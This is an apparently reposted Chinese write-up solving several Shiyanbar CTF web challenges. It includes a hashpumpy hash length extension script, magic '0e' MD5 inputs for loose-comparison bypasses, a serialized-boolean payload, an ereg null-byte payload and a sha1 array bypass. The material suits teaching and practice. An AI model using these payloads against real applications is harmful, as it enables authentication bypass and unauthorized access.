大佬教程收集整理的这篇文章主要介绍了实验吧 CTF 题目之 WEB Writeup 通关大全 – 3,大佬教程大佬觉得挺不错的,现在分享给大家,也给大家做个参考。
题目链接
http://shiyanbar.com/ctf/1848
相信你一定能拿到想要的
Hint:你可能希望知道服务器端发生了什么。。
格式:CTF{}
解题思路
用burpsuite抓包后,发现cookie里有一个字段source=0
,修改为1后获取源码。
<html>
<body>
<pre>
$flag = "XXXXXXXXXXXXXXXXXXXXXXX";
$secret = "XXXXXXXXXXXXXXX"; // This secret is 15 characters long for security!
$username = $_POST["username"];
$password = $_POST["password"];
if (!empty($_COOKIE["getmein"])) {
if (urldecode($userName) === "admin" && urldecode($password) != "admin") {
if ($COOKIE["getmein"] === md5($secret . urldecode($username . $password))) {
echo "Congratulations! You are a registered user.\n";
die ("The flag is ". $flag);
}
else {
die ("Your cookies don't match up! STOP HACKING THIS SITE.");
}
}
else {
die ("You are not an admin! LEAVE.");
}
}
setcookie("sample-hash", md5($secret . urldecode("admin" . "admin")), time() + (60 * 60 * 24 * 7));
if (empty($_COOKIE["source"])) {
setcookie("source", 0, time() + (60 * 60 * 24 * 7));
}
else {
if ($_COOKIE["source"] != 0) {
echo ""; // This source code is outputted here
}
}
</pre>
<h1>Admins Only!</h1>
<p>If you have the correct credentials, log in below. If not, please LEAVE.</p>
<form method="POST">
Username: <input type="text" name="username"> <br>
password: <input type="password" name="password"> <br>
<button type="submit">Submit</button>
</form>
</body>
</html>
从源码分析,可以看到flag的获取要求是:传进一个cookie getmein
,使其等于 secret+urldecode($username . $password)
MD5 加密后的结果且要求username为admin,password不能为admin。所以这里利用了hash长度扩展攻击,具体原理请参考文章0、文章1、文章2、文章3,推荐查看文章0和3。
这里我给出一个最简单的方式,使用工具hashpumpy
进行hash值进行构造,给出代码
#!/usr/bin/env python
#-*- coding: utf-8 -*-
"""
@Author : darkN0te
@Create date : 2018-07-10
@description : 哈希长度攻击
@update date :
"""
import hashpumpy
# def hashpump(hexdigest, original_data, data_to_add, key_length)
aaa = hashpumpy.hashpump("571580b26c65f306376d4f64e53cb5c7","admin","darkN0te",20)
print aaa
题目链接
http://shiyanbar.com/ctf/1846
题目描述
@H_450_44@如何欺骗服务器,才能拿到Flag?
格式:CTF{}
解题思路
访问链接http://ctf5.shiyanbar.com/indirection/index.PHP/index.PHP
,就可以直接获取到flag。
题目的意思就是通过改变地址栏访问index.PHP,但是限制了条件不能使用./ ../ \\
而且只能使用小写字母,不可以在PHP后加点,这里我们可以利用伪静态技术,使用index.PHP后的index.PHP会被当做参数处理,所以服务器只会解析第一个index.PHP,满足条件成功绕过。
题目链接
http://shiyanbar.com/ctf/1819
题目描述
@H_450_44@似乎有人觉得PIN码是不可破解的,让我们证明他是错的。
格式:ctf{}
showsource
字段,修改为1然后看到源码,直接把-19827747736161128312837161661727773716166727272616149001823847
填入pin提交拿到Flag。<html>
<head>
<title>Forms</title>
</head>
<body>
<pre>
$a = $_POST["PIN"];
if ($a == -19827747736161128312837161661727773716166727272616149001823847) {
echo "Congratulations! The flag is $flag";
} else {
echo "User with provided PIN not found.";
}
</pre>User with provided PIN not found.
<form action="" method="post">
PIN:<br>
<input type="password" name="PIN" value="">
<input type="hidden" name="showsource" value=0>
<button type="submit">Enter</button>
</form>
</body>
</html>
题目链接
http://shiyanbar.com/ctf/1810
天网你敢来挑战嘛
格式:ctf{ }
解题思路
进入题目后,打开网页源码,网页中有提示<!-- $test=$_GET['username']; $test=md5($test); if($test=='0') -->
,很明显可以看到是一个Hash比较问题,具体内容请查看文章 PHP Hash比较缺陷,这里我们只需要找到以0e
开头的md5,这样和0
比较就是相等的。下面一个以0e
开头的md5列表
QNKCDZO
0e830400451993494058024219903391
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
使用s878926199a
提交后给出了新的提示。
$unserialize_str = $_POST['password'];
$data_unserialize = unserialize($unserialize_str);
if($data_unserialize['user'] == '???' && $data_unserialize['pass']=='???')
{
print_r($flag);
}
伟大的科学家PHP方言道:成也布尔,败也布尔。
回去吧骚年
这段语句首先对password字段进行了反序列化,然后让里面的user等于???
,同时pass也等于???
。
但是我们不知道两处???
到底是什么,因此无法考虑用PHP函数构造这样的值。别忘了还有一个提示: “伟大的科学家PHP方言道:成也布尔,败也布尔” ,bool类型的true跟任意字符串可以弱类型相等。因此我们可以构造bool类型的序列化数据 ,无论比较的值是什么,结果都为true。(a代表array,s代表String,b代表bool,而数字代表个数/长度)
构造password值为: a:2:{s:4:“user”;b:1;s:4:“pass”;b:1;}
在密码栏中提交构造的值,即可获取flag: ctf{dwduwkhduw5465}
题目链接
http://shiyanbar.com/ctf/1808
找回密码
格式:SimCTF{ }
解题思路
此题目有点脑洞,首先在step1.PHP页面提交邮箱,会给出step2.PHP页面,然后访问step2.PHP会马上返回step1.PHP。所以抓包看一下step2.PHP的内容。
<br />
<Meta http-equiv=refresh content=0.5;URL="./step1.PHP">check error!<!DOCTYPE html>
<html>
<head>
<Meta charset="utf-8" />
<Meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" />
<Meta name="renderer" content="webkit" />
<Meta name="admin" content="admin@simplexue.com" />
<Meta name="editor" content="Vim" />
<title>logic</title>
</style>
</head>
<body>
<form action="submit.PHP" method="GET">
<h1>找回密码step2</h1>
email:<input name="emailAddress" type="text" value="youmom" disable="true"/></br>
token:<input name="token" type="text" /></br>
<input type="submit" value="提交">
</form>
</body>
</html>
找到了step2.PHP会将内容提交到submit.PHP。访问submit.PHP文件。给出提示
submit.PHP
还是不可以。这里就是个坑,需要访问submit.PHP的缓存文件.submit.PHP.swp
,这个文件是使用vim编辑时会留下的一个文件,访问后得到submit.PHP源码。if(!empty($token)&&!empty($emailAddress)){
if(strlen($token)!=10) die('fail');
if($token!='0') die('fail');
$sql = "SELECT count(*) as num from `user` where token='$token' AND email='$emailAddress'";
$r = MysqL_query($sql) or die('db error');
$r = MysqL_fetch_assoc($r);
$r = $r['num'];
if($r>0){
echo $flag;
}else{
echo "失败了呀";
}
}
这段源码就给出了如何拿到flag,有两个条件:
token
,长度必须等于10。token
要和0
相等,这里又用到了PHP弱类型比较,只要用0000000000
就可以绕过这两条限制。得到payload : http://ctf5.shiyanbar.com/10/upload/submit.PHP?emailAddress=admin@simplexue.com&token=0000000000
。
题目链接
http://shiyanbar.com/ctf/1805
啊拉?又是PHP审计。已经想吐了。
hint:ereg()函数有漏洞哩;从小老师就说要用科学的方法来算数。
格式:CTF{
解题思路
点击题目页面View the source code
,看到源码。
<?PHP
if (isset ($_GET['password'])) {
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === falSE)
{
echo '<p>You password must be alphanumeric</p>';
}
else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
{
if (strpos ($_GET['password'], '*-*') !== falSE)
{
die('Flag: ' . $flag);
}
else
{
echo('<p>*-* have not been found</p>');
}
}
else
{
echo '<p>Invalid password</p>';
}
}
?>
本题目一共有三个条件限制,看如何绕过。
这个判断限制了输入只能为只能输入字符和数字,但是该函数存在00
截断漏洞。
*-*
。所以给出paylload,1e8%00*-*
,1e9%00*-*
。
题目链接
http://shiyanbar.com/ctf/1788
写个算法没准就算出来了,23333
hint:你确定你有认真看判断条件?
格式:CTF{}
解题思路
点击题目页面View the source code
,看到源码。
<?PHP
session_start();
if (isset ($_GET['password'])) {
if ($_GET['password'] == $_SESSION['password'])
die ('Flag: '.$flag);
else
print '<p>Wrong guess.</p>';
}
mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 10000) + rand(1, 10000));
?>
看一下按条件语句,需要session中的password值和用户传的一样,就可以打印flag,所以只需要删掉session值,或者修改session值为一个不存在的session,服务器获取不到session,则password为空,用户传一个空的password的进去即可拿到flag。
题目链接
http://shiyanbar.com/ctf/1787
@H_481_403@
PHP代码审计
hint:sha1函数你有认真了解过吗?听说也有人用md5碰撞o(╯□╰)o
格式:CTF{}
解题思路
点击题目页面View the source code
,看到源码。
<?PHP
if (isset($_GET['name']) and isset($_GET['password'])) {
if ($_GET['name'] == $_GET['password'])
echo '<p>Your password can not be your name!</p>';
else if (sha1($_GET['name']) === sha1($_GET['password']))
die('Flag: '.$flag);
else
echo '<p>Invalid password.</p>';
}
else{
echo '<p>Login first!</p>';
?>
本题目给出了两个条件
===
只有在相同类型下,才会比较其值。sha1()函数默认的传入参数类型是字符串型,可以传入其他类型,使其返回值为false。如数组类型。
所以给出payload为,name[]=a&password[]=b
。
以上是大佬教程为你收集整理的实验吧 CTF 题目之 WEB Writeup 通关大全 – 3全部内容,希望文章能够帮你解决实验吧 CTF 题目之 WEB Writeup 通关大全 – 3所遇到的程序开发问题。
如果觉得大佬教程网站内容还不错,欢迎将大佬教程推荐给程序员好友。
本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
如您有任何意见或建议可联系处理。小编QQ:384754419,请注明来意。